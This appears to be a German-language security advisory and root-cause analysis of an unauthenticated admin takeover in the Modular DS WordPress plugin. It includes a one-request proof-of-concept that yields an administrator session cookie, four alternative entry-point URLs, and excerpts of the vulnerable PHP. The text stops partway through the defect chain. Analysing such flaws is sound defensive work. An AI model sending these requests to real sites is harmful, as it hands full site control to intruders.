
Ursachenanalyse, PoC und Erkennungsleitfaden für CVE-2026-23550, eine kritische nicht authentifizierte Admin-Sitzungsübernahme im WordPress-Plugin Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Ursachenanalyse · Quellcode-Durchgang · Patch-Diff · Bildungs-PoC
Von: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) ist ein WordPress-Plugin zur Website-Verwaltung mit über 40.000 aktiven Installationen. Versionen ≤ 2.5.1 enthalten eine Kette von fünf sich verstärkenden Fehlern, die es jedem nicht authentifizierten Angreifer ermöglichen, die Authentifizierung zu umgehen, den internen Login-Endpunkt des Plugins aufzurufen und mit einer einzigen HTTP-GET-Anfrage einwordpress_logged_in_*-Sitzungscookie für das erste Administratorkonto zu erhalten.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Ergebnis: Vollständige Administratorübernahme. Der Angreifer kann schädliche Plugins installieren, Webshells ablegen, Backup-Admin-Konten erstellen und die Datenbank exfiltrieren.
| Feld | Wert |
|---|---|
| Plugin-Name | Modular DS |
| Slug | modular-connector |
| Verwundbar | <= 2.5.1 |
| Gepatched | 2.5.2 |
| Aktive Installationen | ~40.000 |
| CVSS v3.1 | 10.0 / KRITISCH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identifizierungs- und Authentifizierungsfehler |
Die Schwachstelle löst einen benutzerdefinierten, von Laravel abgeleiteten Router aus, der im Plugin eingebettet ist. Das Plugin bringt seinen eigenen HTTP-Kernel (Ares/Framework) mit, der in die parse_request-Aktion von WordPress einhakt, um Anfragen abzufangen, bevor das eigene Routing von WordPress übernimmt.
Voraussetzungen: keine (Plugin installiert und aktiv, mit Modular SaaS verbunden — Standard für alle Live-Installationen).
Einstiegspunkte (jeder einzelne ist ausreichend):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
Die Schwachstelle ist kein einzelner Fehler — es ist eine Kette von fünf sich verstärkenden Defekten. Jede Schicht für sich allein betrachtet mag vertretbar erscheinen; kombiniert führen sie zu einer Admin-Übernahme ohne Authentifizierung.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Schicht | Datei | Ursache |
|---|---|---|---|
| ① | Bootstrap-Tor | HttpUtils.php:64 | Reine Query-Parameter-Prüfung ohne Krypto/Nonce |
| ② | URL→Route-Matcher | Router.php:20 | Implizite URL-Auflösung direkt an den Filter weitergegeben |
| ③ | Route-Überschreibungsfilter | RouteServiceProvider.php:46 | Unbekannter Typ fällt mit intakter Original-Route durch |
| ④ | Auth-Guard | ModularGuard.php:16 | Validiert server-seitigen OAuth-Status, nicht die Anfrage-Identität |
| ⑤ | Login-Controller | AuthController.php:66 | Stiller Fallback auf getAdminUser() bei fehlender Eingabe |
HttpUtils::isDirectRequest()Datei: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ query-param only, no signature
}
return false;
}
Problem: Der „Direktanfrage“-Modus – gedacht zur Identifizierung legitimer Aufrufe vom Modular SaaS-Backend – wird nur durch Klartext-Query-Parameter gesteuert, ohne HMAC, JWT, signierte Nonce oder IP-Whitelist. Jeder Angreifer kann diesen Schalter umlegen.
Router::findRoute()Datei: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolved to route BEFORE filter runs
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problem: Laravels routes->match($request) löst /api/modular-connector/login/xxx in die Route login auf (auth-geschützt), bevor der Sicherheitsfilter überhaupt läuft. Der Filter erhält diese Route als Eingabe und muss beweisen, dass die Route unberechtigt ist, anstatt sie explizit zu autorisieren.
bindOldRoutes()Datei: src/app/Providers/RouteServiceProvider.php:46